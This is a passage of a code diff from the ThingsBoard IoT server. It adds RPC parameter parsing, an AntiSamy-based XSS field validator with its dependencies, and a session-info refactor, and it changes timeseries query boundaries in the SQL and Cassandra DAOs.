566 | - JsonElement jsonElement = new JsonParser().parse(json); | 566 | + JsonElement jsonElement = JSON_PARSER.parse(json); |
567 | if (jsonElement.isJsonObject()) { | 567 | if (jsonElement.isJsonObject()) { |
568 | return buildProvisionRequestMsg(jsonElement.getAsJsonObject()); | 568 | return buildProvisionRequestMsg(jsonElement.getAsJsonObject()); |
569 | } else { | 569 | } else { |
@@ -15,7 +15,9 @@ | @@ -15,7 +15,9 @@ | ||
15 | */ | 15 | */ |
16 | package org.thingsboard.server.common.transport.adaptor; | 16 | package org.thingsboard.server.common.transport.adaptor; |
17 | 17 | ||
18 | +import com.google.gson.JsonElement; | ||
18 | import com.google.gson.JsonParser; | 19 | import com.google.gson.JsonParser; |
20 | +import com.google.gson.JsonPrimitive; | ||
19 | import com.google.protobuf.InvalidProtocolBufferException; | 21 | import com.google.protobuf.InvalidProtocolBufferException; |
20 | import lombok.extern.slf4j.Slf4j; | 22 | import lombok.extern.slf4j.Slf4j; |
21 | import org.springframework.util.CollectionUtils; | 23 | import org.springframework.util.CollectionUtils; |
@@ -167,4 +169,27 @@ public class ProtoConverter { | @@ -167,4 +169,27 @@ public class ProtoConverter { | ||
167 | }); | 169 | }); |
168 | return kvList; | 170 | return kvList; |
169 | } | 171 | } |
172 | + | ||
173 | + public static byte[] convertToRpcRequest(TransportProtos.ToDeviceRpcRequestMsg toDeviceRpcRequestMsg) { | ||
174 | + TransportProtos.ToDeviceRpcRequestMsg.Builder toDeviceRpcRequestMsgBuilder = toDeviceRpcRequestMsg.newBuilderForType(); | ||
175 | + toDeviceRpcRequestMsgBuilder.mergeFrom(toDeviceRpcRequestMsg); | ||
176 | + toDeviceRpcRequestMsgBuilder.setParams(parseParams(toDeviceRpcRequestMsg)); | ||
177 | + TransportProtos.ToDeviceRpcRequestMsg result = toDeviceRpcRequestMsgBuilder.build(); | ||
178 | + return result.toByteArray(); | ||
179 | + } | ||
180 | + | ||
181 | + private static String parseParams(TransportProtos.ToDeviceRpcRequestMsg toDeviceRpcRequestMsg) { | ||
182 | + String params = toDeviceRpcRequestMsg.getParams(); | ||
183 | + JsonElement jsonElementParams = JSON_PARSER.parse(params); | ||
184 | + if (!jsonElementParams.isJsonPrimitive()) { | ||
185 | + return params; | ||
186 | + } else { | ||
187 | + JsonPrimitive primitiveParams = jsonElementParams.getAsJsonPrimitive(); | ||
188 | + if (jsonElementParams.getAsJsonPrimitive().isString()) { | ||
189 | + return primitiveParams.getAsString(); | ||
190 | + } else { | ||
191 | + return params; | ||
192 | + } | ||
193 | + } | ||
194 | + } | ||
170 | } | 195 | } |
@@ -25,7 +25,15 @@ import java.util.UUID; | @@ -25,7 +25,15 @@ import java.util.UUID; | ||
25 | public class SessionInfoCreator { | 25 | public class SessionInfoCreator { |
26 | 26 | ||
27 | public static TransportProtos.SessionInfoProto create(ValidateDeviceCredentialsResponse msg, TransportContext context, UUID sessionId) { | 27 | public static TransportProtos.SessionInfoProto create(ValidateDeviceCredentialsResponse msg, TransportContext context, UUID sessionId) { |
28 | - return TransportProtos.SessionInfoProto.newBuilder().setNodeId(context.getNodeId()) | 28 | + return getSessionInfoProto(msg, context.getNodeId(), sessionId); |
29 | + } | ||
30 | + | ||
31 | + public static TransportProtos.SessionInfoProto create(ValidateDeviceCredentialsResponse msg, String nodeId, UUID sessionId) { | ||
32 | + return getSessionInfoProto(msg, nodeId, sessionId); | ||
33 | + } | ||
34 | + | ||
35 | + private static TransportProtos.SessionInfoProto getSessionInfoProto(ValidateDeviceCredentialsResponse msg, String nodeId, UUID sessionId) { | ||
36 | + return TransportProtos.SessionInfoProto.newBuilder().setNodeId(nodeId) | ||
29 | .setSessionIdMSB(sessionId.getMostSignificantBits()) | 37 | .setSessionIdMSB(sessionId.getMostSignificantBits()) |
30 | .setSessionIdLSB(sessionId.getLeastSignificantBits()) | 38 | .setSessionIdLSB(sessionId.getLeastSignificantBits()) |
31 | .setDeviceIdMSB(msg.getDeviceInfo().getDeviceId().getId().getMostSignificantBits()) | 39 | .setDeviceIdMSB(msg.getDeviceInfo().getDeviceId().getId().getMostSignificantBits()) |
common/transport/transport-api/src/main/java/org/thingsboard/server/common/transport/util/SslUtil.java
renamed from
common/transport/mqtt/src/main/java/org/thingsboard/server/transport/mqtt/util/SslUtil.java
@@ -13,13 +13,12 @@ | @@ -13,13 +13,12 @@ | ||
13 | * See the License for the specific language governing permissions and | 13 | * See the License for the specific language governing permissions and |
14 | * limitations under the License. | 14 | * limitations under the License. |
15 | */ | 15 | */ |
16 | -package org.thingsboard.server.transport.mqtt.util; | 16 | +package org.thingsboard.server.common.transport.util; |
17 | 17 | ||
18 | import lombok.extern.slf4j.Slf4j; | 18 | import lombok.extern.slf4j.Slf4j; |
19 | import org.springframework.util.Base64Utils; | 19 | import org.springframework.util.Base64Utils; |
20 | import org.thingsboard.server.common.msg.EncryptionUtil; | 20 | import org.thingsboard.server.common.msg.EncryptionUtil; |
21 | 21 | ||
22 | -import java.io.IOException; | ||
23 | import java.security.cert.Certificate; | 22 | import java.security.cert.Certificate; |
24 | import java.security.cert.CertificateEncodingException; | 23 | import java.security.cert.CertificateEncodingException; |
25 | 24 |
@@ -112,6 +112,14 @@ | @@ -112,6 +112,14 @@ | ||
112 | <artifactId>jackson-databind</artifactId> | 112 | <artifactId>jackson-databind</artifactId> |
113 | </dependency> | 113 | </dependency> |
114 | <dependency> | 114 | <dependency> |
115 | + <groupId>org.hibernate.validator</groupId> | ||
116 | + <artifactId>hibernate-validator</artifactId> | ||
117 | + </dependency> | ||
118 | + <dependency> | ||
119 | + <groupId>org.glassfish</groupId> | ||
120 | + <artifactId>javax.el</artifactId> | ||
121 | + </dependency> | ||
122 | + <dependency> | ||
115 | <groupId>org.springframework</groupId> | 123 | <groupId>org.springframework</groupId> |
116 | <artifactId>spring-context</artifactId> | 124 | <artifactId>spring-context</artifactId> |
117 | </dependency> | 125 | </dependency> |
@@ -199,6 +207,11 @@ | @@ -199,6 +207,11 @@ | ||
199 | <scope>test</scope> | 207 | <scope>test</scope> |
200 | </dependency> | 208 | </dependency> |
201 | <dependency> | 209 | <dependency> |
210 | + <groupId>org.junit.jupiter</groupId> | ||
211 | + <artifactId>junit-jupiter-params</artifactId> | ||
212 | + <scope>test</scope> | ||
213 | + </dependency> | ||
214 | + <dependency> | ||
202 | <groupId>org.springframework</groupId> | 215 | <groupId>org.springframework</groupId> |
203 | <artifactId>spring-context-support</artifactId> | 216 | <artifactId>spring-context-support</artifactId> |
204 | </dependency> | 217 | </dependency> |
@@ -17,29 +17,50 @@ package org.thingsboard.server.dao.service; | @@ -17,29 +17,50 @@ package org.thingsboard.server.dao.service; | ||
17 | 17 | ||
18 | import com.fasterxml.jackson.databind.JsonNode; | 18 | import com.fasterxml.jackson.databind.JsonNode; |
19 | import lombok.extern.slf4j.Slf4j; | 19 | import lombok.extern.slf4j.Slf4j; |
20 | +import org.hibernate.validator.HibernateValidator; | ||
21 | +import org.hibernate.validator.HibernateValidatorConfiguration; | ||
22 | +import org.hibernate.validator.cfg.ConstraintMapping; | ||
20 | import org.thingsboard.server.common.data.BaseData; | 23 | import org.thingsboard.server.common.data.BaseData; |
21 | import org.thingsboard.server.common.data.EntityType; | 24 | import org.thingsboard.server.common.data.EntityType; |
22 | import org.thingsboard.server.common.data.id.TenantId; | 25 | import org.thingsboard.server.common.data.id.TenantId; |
26 | +import org.thingsboard.server.common.data.validation.NoXss; | ||
23 | import org.thingsboard.server.dao.TenantEntityDao; | 27 | import org.thingsboard.server.dao.TenantEntityDao; |
24 | import org.thingsboard.server.dao.exception.DataValidationException; | 28 | import org.thingsboard.server.dao.exception.DataValidationException; |
25 | 29 | ||
30 | +import javax.validation.ConstraintViolation; | ||
31 | +import javax.validation.Validation; | ||
32 | +import javax.validation.Validator; | ||
26 | import java.util.HashSet; | 33 | import java.util.HashSet; |
27 | import java.util.Iterator; | 34 | import java.util.Iterator; |
35 | +import java.util.List; | ||
28 | import java.util.Set; | 36 | import java.util.Set; |
29 | import java.util.function.Function; | 37 | import java.util.function.Function; |
30 | import java.util.regex.Matcher; | 38 | import java.util.regex.Matcher; |
31 | import java.util.regex.Pattern; | 39 | import java.util.regex.Pattern; |
40 | +import java.util.stream.Collectors; | ||
32 | 41 | ||
33 | @Slf4j | 42 | @Slf4j |
34 | public abstract class DataValidator<D extends BaseData<?>> { | 43 | public abstract class DataValidator<D extends BaseData<?>> { |
35 | private static final Pattern EMAIL_PATTERN = | 44 | private static final Pattern EMAIL_PATTERN = |
36 | Pattern.compile("^[A-Z0-9._%+-]+@[A-Z0-9.-]+\\.[A-Z]{2,}$", Pattern.CASE_INSENSITIVE); | 45 | Pattern.compile("^[A-Z0-9._%+-]+@[A-Z0-9.-]+\\.[A-Z]{2,}$", Pattern.CASE_INSENSITIVE); |
37 | 46 | ||
47 | + private static Validator fieldsValidator; | ||
48 | + | ||
49 | + static { | ||
50 | + initializeFieldsValidator(); | ||
51 | + } | ||
52 | + | ||
38 | public void validate(D data, Function<D, TenantId> tenantIdFunction) { | 53 | public void validate(D data, Function<D, TenantId> tenantIdFunction) { |
39 | try { | 54 | try { |
40 | if (data == null) { | 55 | if (data == null) { |
41 | throw new DataValidationException("Data object can't be null!"); | 56 | throw new DataValidationException("Data object can't be null!"); |
42 | } | 57 | } |
58 | + | ||
59 | + List<String> validationErrors = validateFields(data); | ||
60 | + if (!validationErrors.isEmpty()) { | ||
61 | + throw new IllegalArgumentException("Validation error: " + String.join(", ", validationErrors)); | ||
62 | + } | ||
63 | + | ||
43 | TenantId tenantId = tenantIdFunction.apply(data); | 64 | TenantId tenantId = tenantIdFunction.apply(data); |
44 | validateDataImpl(tenantId, data); | 65 | validateDataImpl(tenantId, data); |
45 | if (data.getId() == null) { | 66 | if (data.getId() == null) { |
@@ -81,6 +102,14 @@ public abstract class DataValidator<D extends BaseData<?>> { | @@ -81,6 +102,14 @@ public abstract class DataValidator<D extends BaseData<?>> { | ||
81 | return emailMatcher.matches(); | 102 | return emailMatcher.matches(); |
82 | } | 103 | } |
83 | 104 | ||
105 | + private List<String> validateFields(D data) { | ||
106 | + Set<ConstraintViolation<D>> constraintsViolations = fieldsValidator.validate(data); | ||
107 | + return constraintsViolations.stream() | ||
108 | + .map(ConstraintViolation::getMessage) | ||
109 | + .distinct() | ||
110 | + .collect(Collectors.toList()); | ||
111 | + } | ||
112 | + | ||
84 | protected void validateNumberOfEntitiesPerTenant(TenantId tenantId, | 113 | protected void validateNumberOfEntitiesPerTenant(TenantId tenantId, |
85 | TenantEntityDao tenantEntityDao, | 114 | TenantEntityDao tenantEntityDao, |
86 | long maxEntities, | 115 | long maxEntities, |
@@ -111,4 +140,13 @@ public abstract class DataValidator<D extends BaseData<?>> { | @@ -111,4 +140,13 @@ public abstract class DataValidator<D extends BaseData<?>> { | ||
111 | throw new DataValidationException("Provided json structure is different from stored one '" + actualNode + "'!"); | 140 | throw new DataValidationException("Provided json structure is different from stored one '" + actualNode + "'!"); |
112 | } | 141 | } |
113 | } | 142 | } |
143 | + | ||
144 | + private static void initializeFieldsValidator() { | ||
145 | + HibernateValidatorConfiguration validatorConfiguration = Validation.byProvider(HibernateValidator.class).configure(); | ||
146 | + ConstraintMapping constraintMapping = validatorConfiguration.createConstraintMapping(); | ||
147 | + constraintMapping.constraintDefinition(NoXss.class).validatedBy(NoXssValidator.class); | ||
148 | + validatorConfiguration.addMapping(constraintMapping); | ||
149 | + | ||
150 | + fieldsValidator = validatorConfiguration.buildValidatorFactory().getValidator(); | ||
151 | + } | ||
114 | } | 152 | } |
1 | +/** | ||
2 | + * Copyright © 2016-2021 The Thingsboard Authors | ||
3 | + * | ||
4 | + * Licensed under the Apache License, Version 2.0 (the "License"); | ||
5 | + * you may not use this file except in compliance with the License. | ||
6 | + * You may obtain a copy of the License at | ||
7 | + * | ||
8 | + * http://www.apache.org/licenses/LICENSE-2.0 | ||
9 | + * | ||
10 | + * Unless required by applicable law or agreed to in writing, software | ||
11 | + * distributed under the License is distributed on an "AS IS" BASIS, | ||
12 | + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | ||
13 | + * See the License for the specific language governing permissions and | ||
14 | + * limitations under the License. | ||
15 | + */ | ||
16 | +package org.thingsboard.server.dao.service; | ||
17 | + | ||
18 | +import com.google.common.io.Resources; | ||
19 | +import lombok.extern.slf4j.Slf4j; | ||
20 | +import org.owasp.validator.html.AntiSamy; | ||
21 | +import org.owasp.validator.html.Policy; | ||
22 | +import org.owasp.validator.html.PolicyException; | ||
23 | +import org.owasp.validator.html.ScanException; | ||
24 | +import org.thingsboard.server.common.data.validation.NoXss; | ||
25 | + | ||
26 | +import javax.validation.ConstraintValidator; | ||
27 | +import javax.validation.ConstraintValidatorContext; | ||
28 | + | ||
29 | +@Slf4j | ||
30 | +public class NoXssValidator implements ConstraintValidator<NoXss, Object> { | ||
31 | + private static final AntiSamy xssChecker = new AntiSamy(); | ||
32 | + private static Policy xssPolicy; | ||
33 | + | ||
34 | + @Override | ||
35 | + public void initialize(NoXss constraintAnnotation) { | ||
36 | + if (xssPolicy == null) { | ||
37 | + try { | ||
38 | + xssPolicy = Policy.getInstance(Resources.getResource("xss-policy.xml")); | ||
39 | + } catch (Exception e) { | ||
40 | + log.error("Failed to set xss policy: {}", e.getMessage()); | ||
41 | + } | ||
42 | + } | ||
43 | + } | ||
44 | + | ||
45 | + @Override | ||
46 | + public boolean isValid(Object value, ConstraintValidatorContext constraintValidatorContext) { | ||
47 | + if (!(value instanceof String) || ((String) value).isEmpty() || xssPolicy == null) { | ||
48 | + return true; | ||
49 | + } | ||
50 | + | ||
51 | + try { | ||
52 | + return xssChecker.scan((String) value, xssPolicy).getNumberOfErrors() == 0; | ||
53 | + } catch (ScanException | PolicyException e) { | ||
54 | + return false; | ||
55 | + } | ||
56 | + } | ||
57 | +} |
@@ -33,7 +33,7 @@ public interface TsKvTimescaleRepository extends CrudRepository<TimescaleTsKvEnt | @@ -33,7 +33,7 @@ public interface TsKvTimescaleRepository extends CrudRepository<TimescaleTsKvEnt | ||
33 | 33 | ||
34 | @Query("SELECT tskv FROM TimescaleTsKvEntity tskv WHERE tskv.entityId = :entityId " + | 34 | @Query("SELECT tskv FROM TimescaleTsKvEntity tskv WHERE tskv.entityId = :entityId " + |
35 | "AND tskv.key = :entityKey " + | 35 | "AND tskv.key = :entityKey " + |
36 | - "AND tskv.ts > :startTs AND tskv.ts <= :endTs") | 36 | + "AND tskv.ts >= :startTs AND tskv.ts < :endTs") |
37 | List<TimescaleTsKvEntity> findAllWithLimit( | 37 | List<TimescaleTsKvEntity> findAllWithLimit( |
38 | @Param("entityId") UUID entityId, | 38 | @Param("entityId") UUID entityId, |
39 | @Param("entityKey") int key, | 39 | @Param("entityKey") int key, |
@@ -44,7 +44,7 @@ public interface TsKvTimescaleRepository extends CrudRepository<TimescaleTsKvEnt | @@ -44,7 +44,7 @@ public interface TsKvTimescaleRepository extends CrudRepository<TimescaleTsKvEnt | ||
44 | @Modifying | 44 | @Modifying |
45 | @Query("DELETE FROM TimescaleTsKvEntity tskv WHERE tskv.entityId = :entityId " + | 45 | @Query("DELETE FROM TimescaleTsKvEntity tskv WHERE tskv.entityId = :entityId " + |
46 | "AND tskv.key = :entityKey " + | 46 | "AND tskv.key = :entityKey " + |
47 | - "AND tskv.ts > :startTs AND tskv.ts <= :endTs") | 47 | + "AND tskv.ts >= :startTs AND tskv.ts < :endTs") |
48 | void delete(@Param("entityId") UUID entityId, | 48 | void delete(@Param("entityId") UUID entityId, |
49 | @Param("entityKey") int key, | 49 | @Param("entityKey") int key, |
50 | @Param("startTs") long startTs, | 50 | @Param("startTs") long startTs, |
@@ -32,7 +32,7 @@ import java.util.concurrent.CompletableFuture; | @@ -32,7 +32,7 @@ import java.util.concurrent.CompletableFuture; | ||
32 | public interface TsKvRepository extends CrudRepository<TsKvEntity, TsKvCompositeKey> { | 32 | public interface TsKvRepository extends CrudRepository<TsKvEntity, TsKvCompositeKey> { |
33 | 33 | ||
34 | @Query("SELECT tskv FROM TsKvEntity tskv WHERE tskv.entityId = :entityId " + | 34 | @Query("SELECT tskv FROM TsKvEntity tskv WHERE tskv.entityId = :entityId " + |
35 | - "AND tskv.key = :entityKey AND tskv.ts > :startTs AND tskv.ts <= :endTs") | 35 | + "AND tskv.key = :entityKey AND tskv.ts >= :startTs AND tskv.ts < :endTs") |
36 | List<TsKvEntity> findAllWithLimit(@Param("entityId") UUID entityId, | 36 | List<TsKvEntity> findAllWithLimit(@Param("entityId") UUID entityId, |
37 | @Param("entityKey") int key, | 37 | @Param("entityKey") int key, |
38 | @Param("startTs") long startTs, | 38 | @Param("startTs") long startTs, |
@@ -42,7 +42,7 @@ public interface TsKvRepository extends CrudRepository<TsKvEntity, TsKvComposite | @@ -42,7 +42,7 @@ public interface TsKvRepository extends CrudRepository<TsKvEntity, TsKvComposite | ||
42 | @Transactional | 42 | @Transactional |
43 | @Modifying | 43 | @Modifying |
44 | @Query("DELETE FROM TsKvEntity tskv WHERE tskv.entityId = :entityId " + | 44 | @Query("DELETE FROM TsKvEntity tskv WHERE tskv.entityId = :entityId " + |
45 | - "AND tskv.key = :entityKey AND tskv.ts > :startTs AND tskv.ts <= :endTs") | 45 | + "AND tskv.key = :entityKey AND tskv.ts >= :startTs AND tskv.ts < :endTs") |
46 | void delete(@Param("entityId") UUID entityId, | 46 | void delete(@Param("entityId") UUID entityId, |
47 | @Param("entityKey") int key, | 47 | @Param("entityKey") int key, |
48 | @Param("startTs") long startTs, | 48 | @Param("startTs") long startTs, |
@@ -51,7 +51,7 @@ public interface TsKvRepository extends CrudRepository<TsKvEntity, TsKvComposite | @@ -51,7 +51,7 @@ public interface TsKvRepository extends CrudRepository<TsKvEntity, TsKvComposite | ||
51 | @Async | 51 | @Async |
52 | @Query("SELECT new TsKvEntity(MAX(tskv.strValue)) FROM TsKvEntity tskv " + | 52 | @Query("SELECT new TsKvEntity(MAX(tskv.strValue)) FROM TsKvEntity tskv " + |
53 | "WHERE tskv.strValue IS NOT NULL " + | 53 | "WHERE tskv.strValue IS NOT NULL " + |
54 | - "AND tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts > :startTs AND tskv.ts <= :endTs") | 54 | + "AND tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts >= :startTs AND tskv.ts < :endTs") |
55 | CompletableFuture<TsKvEntity> findStringMax(@Param("entityId") UUID entityId, | 55 | CompletableFuture<TsKvEntity> findStringMax(@Param("entityId") UUID entityId, |
56 | @Param("entityKey") int entityKey, | 56 | @Param("entityKey") int entityKey, |
57 | @Param("startTs") long startTs, | 57 | @Param("startTs") long startTs, |
@@ -63,7 +63,7 @@ public interface TsKvRepository extends CrudRepository<TsKvEntity, TsKvComposite | @@ -63,7 +63,7 @@ public interface TsKvRepository extends CrudRepository<TsKvEntity, TsKvComposite | ||
63 | "SUM(CASE WHEN tskv.longValue IS NULL THEN 0 ELSE 1 END), " + | 63 | "SUM(CASE WHEN tskv.longValue IS NULL THEN 0 ELSE 1 END), " + |
64 | "SUM(CASE WHEN tskv.doubleValue IS NULL THEN 0 ELSE 1 END), " + | 64 | "SUM(CASE WHEN tskv.doubleValue IS NULL THEN 0 ELSE 1 END), " + |
65 | "'MAX') FROM TsKvEntity tskv " + | 65 | "'MAX') FROM TsKvEntity tskv " + |
66 | - "WHERE tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts > :startTs AND tskv.ts <= :endTs") | 66 | + "WHERE tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts >= :startTs AND tskv.ts < :endTs") |
67 | CompletableFuture<TsKvEntity> findNumericMax(@Param("entityId") UUID entityId, | 67 | CompletableFuture<TsKvEntity> findNumericMax(@Param("entityId") UUID entityId, |
68 | @Param("entityKey") int entityKey, | 68 | @Param("entityKey") int entityKey, |
69 | @Param("startTs") long startTs, | 69 | @Param("startTs") long startTs, |
@@ -73,7 +73,7 @@ public interface TsKvRepository extends CrudRepository<TsKvEntity, TsKvComposite | @@ -73,7 +73,7 @@ public interface TsKvRepository extends CrudRepository<TsKvEntity, TsKvComposite | ||
73 | @Async | 73 | @Async |
74 | @Query("SELECT new TsKvEntity(MIN(tskv.strValue)) FROM TsKvEntity tskv " + | 74 | @Query("SELECT new TsKvEntity(MIN(tskv.strValue)) FROM TsKvEntity tskv " + |
75 | "WHERE tskv.strValue IS NOT NULL " + | 75 | "WHERE tskv.strValue IS NOT NULL " + |
76 | - "AND tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts > :startTs AND tskv.ts <= :endTs") | 76 | + "AND tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts >= :startTs AND tskv.ts < :endTs") |
77 | CompletableFuture<TsKvEntity> findStringMin(@Param("entityId") UUID entityId, | 77 | CompletableFuture<TsKvEntity> findStringMin(@Param("entityId") UUID entityId, |
78 | @Param("entityKey") int entityKey, | 78 | @Param("entityKey") int entityKey, |
79 | @Param("startTs") long startTs, | 79 | @Param("startTs") long startTs, |
@@ -85,7 +85,7 @@ public interface TsKvRepository extends CrudRepository<TsKvEntity, TsKvComposite | @@ -85,7 +85,7 @@ public interface TsKvRepository extends CrudRepository<TsKvEntity, TsKvComposite | ||
85 | "SUM(CASE WHEN tskv.longValue IS NULL THEN 0 ELSE 1 END), " + | 85 | "SUM(CASE WHEN tskv.longValue IS NULL THEN 0 ELSE 1 END), " + |
86 | "SUM(CASE WHEN tskv.doubleValue IS NULL THEN 0 ELSE 1 END), " + | 86 | "SUM(CASE WHEN tskv.doubleValue IS NULL THEN 0 ELSE 1 END), " + |
87 | "'MIN') FROM TsKvEntity tskv " + | 87 | "'MIN') FROM TsKvEntity tskv " + |
88 | - "WHERE tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts > :startTs AND tskv.ts <= :endTs") | 88 | + "WHERE tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts >= :startTs AND tskv.ts < :endTs") |
89 | CompletableFuture<TsKvEntity> findNumericMin( | 89 | CompletableFuture<TsKvEntity> findNumericMin( |
90 | @Param("entityId") UUID entityId, | 90 | @Param("entityId") UUID entityId, |
91 | @Param("entityKey") int entityKey, | 91 | @Param("entityKey") int entityKey, |
@@ -98,7 +98,7 @@ public interface TsKvRepository extends CrudRepository<TsKvEntity, TsKvComposite | @@ -98,7 +98,7 @@ public interface TsKvRepository extends CrudRepository<TsKvEntity, TsKvComposite | ||
98 | "SUM(CASE WHEN tskv.longValue IS NULL THEN 0 ELSE 1 END), " + | 98 | "SUM(CASE WHEN tskv.longValue IS NULL THEN 0 ELSE 1 END), " + |
99 | "SUM(CASE WHEN tskv.doubleValue IS NULL THEN 0 ELSE 1 END), " + | 99 | "SUM(CASE WHEN tskv.doubleValue IS NULL THEN 0 ELSE 1 END), " + |
100 | "SUM(CASE WHEN tskv.jsonValue IS NULL THEN 0 ELSE 1 END)) FROM TsKvEntity tskv " + | 100 | "SUM(CASE WHEN tskv.jsonValue IS NULL THEN 0 ELSE 1 END)) FROM TsKvEntity tskv " + |
101 | - "WHERE tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts > :startTs AND tskv.ts <= :endTs") | 101 | + "WHERE tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts >= :startTs AND tskv.ts < :endTs") |
102 | CompletableFuture<TsKvEntity> findCount(@Param("entityId") UUID entityId, | 102 | CompletableFuture<TsKvEntity> findCount(@Param("entityId") UUID entityId, |
103 | @Param("entityKey") int entityKey, | 103 | @Param("entityKey") int entityKey, |
104 | @Param("startTs") long startTs, | 104 | @Param("startTs") long startTs, |
@@ -110,7 +110,7 @@ public interface TsKvRepository extends CrudRepository<TsKvEntity, TsKvComposite | @@ -110,7 +110,7 @@ public interface TsKvRepository extends CrudRepository<TsKvEntity, TsKvComposite | ||
110 | "SUM(CASE WHEN tskv.longValue IS NULL THEN 0 ELSE 1 END), " + | 110 | "SUM(CASE WHEN tskv.longValue IS NULL THEN 0 ELSE 1 END), " + |
111 | "SUM(CASE WHEN tskv.doubleValue IS NULL THEN 0 ELSE 1 END), " + | 111 | "SUM(CASE WHEN tskv.doubleValue IS NULL THEN 0 ELSE 1 END), " + |
112 | "'AVG') FROM TsKvEntity tskv " + | 112 | "'AVG') FROM TsKvEntity tskv " + |
113 | - "WHERE tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts > :startTs AND tskv.ts <= :endTs") | 113 | + "WHERE tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts >= :startTs AND tskv.ts < :endTs") |
114 | CompletableFuture<TsKvEntity> findAvg(@Param("entityId") UUID entityId, | 114 | CompletableFuture<TsKvEntity> findAvg(@Param("entityId") UUID entityId, |
115 | @Param("entityKey") int entityKey, | 115 | @Param("entityKey") int entityKey, |
116 | @Param("startTs") long startTs, | 116 | @Param("startTs") long startTs, |
@@ -122,7 +122,7 @@ public interface TsKvRepository extends CrudRepository<TsKvEntity, TsKvComposite | @@ -122,7 +122,7 @@ public interface TsKvRepository extends CrudRepository<TsKvEntity, TsKvComposite | ||
122 | "SUM(CASE WHEN tskv.longValue IS NULL THEN 0 ELSE 1 END), " + | 122 | "SUM(CASE WHEN tskv.longValue IS NULL THEN 0 ELSE 1 END), " + |
123 | "SUM(CASE WHEN tskv.doubleValue IS NULL THEN 0 ELSE 1 END), " + | 123 | "SUM(CASE WHEN tskv.doubleValue IS NULL THEN 0 ELSE 1 END), " + |
124 | "'SUM') FROM TsKvEntity tskv " + | 124 | "'SUM') FROM TsKvEntity tskv " + |
125 | - "WHERE tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts > :startTs AND tskv.ts <= :endTs") | 125 | + "WHERE tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts >= :startTs AND tskv.ts < :endTs") |
126 | CompletableFuture<TsKvEntity> findSum(@Param("entityId") UUID entityId, | 126 | CompletableFuture<TsKvEntity> findSum(@Param("entityId") UUID entityId, |
127 | @Param("entityKey") int entityKey, | 127 | @Param("entityKey") int entityKey, |
128 | @Param("startTs") long startTs, | 128 | @Param("startTs") long startTs, |
@@ -550,8 +550,8 @@ public class CassandraBaseTimeseriesDao extends AbstractCassandraBaseTimeseriesD | @@ -550,8 +550,8 @@ public class CassandraBaseTimeseriesDao extends AbstractCassandraBaseTimeseriesD | ||
550 | + "AND " + ModelConstants.ENTITY_ID_COLUMN + EQUALS_PARAM | 550 | + "AND " + ModelConstants.ENTITY_ID_COLUMN + EQUALS_PARAM |
551 | + "AND " + ModelConstants.KEY_COLUMN + EQUALS_PARAM | 551 | + "AND " + ModelConstants.KEY_COLUMN + EQUALS_PARAM |
552 | + "AND " + ModelConstants.PARTITION_COLUMN + EQUALS_PARAM | 552 | + "AND " + ModelConstants.PARTITION_COLUMN + EQUALS_PARAM |
553 | - + "AND " + ModelConstants.TS_COLUMN + " > ? " | ||
554 | - + "AND " + ModelConstants.TS_COLUMN + " <= ?"); | 553 | + + "AND " + ModelConstants.TS_COLUMN + " >= ? " |
554 | + + "AND " + ModelConstants.TS_COLUMN + " < ?"); | ||
555 | } | 555 | } |
556 | return deleteStmt; | 556 | return deleteStmt; |
557 | } | 557 | } |
@@ -740,8 +740,8 @@ public class CassandraBaseTimeseriesDao extends AbstractCassandraBaseTimeseriesD | @@ -740,8 +740,8 @@ public class CassandraBaseTimeseriesDao extends AbstractCassandraBaseTimeseriesD | ||
740 | + "AND " + ModelConstants.ENTITY_ID_COLUMN + EQUALS_PARAM | 740 | + "AND " + ModelConstants.ENTITY_ID_COLUMN + EQUALS_PARAM |
741 | + "AND " + ModelConstants.KEY_COLUMN + EQUALS_PARAM | 741 | + "AND " + ModelConstants.KEY_COLUMN + EQUALS_PARAM |
742 | + "AND " + ModelConstants.PARTITION_COLUMN + EQUALS_PARAM | 742 | + "AND " + ModelConstants.PARTITION_COLUMN + EQUALS_PARAM |
743 | - + "AND " + ModelConstants.TS_COLUMN + " > ? " | ||
744 | - + "AND " + ModelConstants.TS_COLUMN + " <= ?" | 743 | + + "AND " + ModelConstants.TS_COLUMN + " >= ? " |
744 | + + "AND " + ModelConstants.TS_COLUMN + " < ?" | ||
745 | + (type == Aggregation.NONE ? " ORDER BY " + ModelConstants.TS_COLUMN + " " + orderBy + " LIMIT ?" : "")); | 745 | + (type == Aggregation.NONE ? " ORDER BY " + ModelConstants.TS_COLUMN + " " + orderBy + " LIMIT ?" : "")); |
746 | } | 746 | } |
747 | } | 747 | } |
@@ -91,8 +91,8 @@ $$ | @@ -91,8 +91,8 @@ $$ | ||
91 | DECLARE | 91 | DECLARE |
92 | tenant_cursor CURSOR FOR select tenant.id as tenant_id | 92 | tenant_cursor CURSOR FOR select tenant.id as tenant_id |
93 | from tenant; | 93 | from tenant; |
94 | - tenant_id_record varchar; | ||
95 | - customer_id_record varchar; | 94 | + tenant_id_record uuid; |
95 | + customer_id_record uuid; | ||
96 | tenant_ttl bigint; | 96 | tenant_ttl bigint; |
97 | customer_ttl bigint; | 97 | customer_ttl bigint; |
98 | deleted_for_entities bigint; | 98 | deleted_for_entities bigint; |
dao/src/main/resources/xss-policy.xml
0 → 100644
1 | +<?xml version="1.0" encoding="UTF-8" ?> | ||
2 | +<!-- | ||
3 | + | ||
4 | + Copyright © 2016-2021 The Thingsboard Authors | ||
5 | + | ||
6 | + Licensed under the Apache License, Version 2.0 (the "License"); | ||
7 | + you may not use this file except in compliance with the License. | ||
8 | + You may obtain a copy of the License at | ||
9 | + | ||
10 | + http://www.apache.org/licenses/LICENSE-2.0 | ||
11 | + | ||
12 | + Unless required by applicable law or agreed to in writing, software | ||
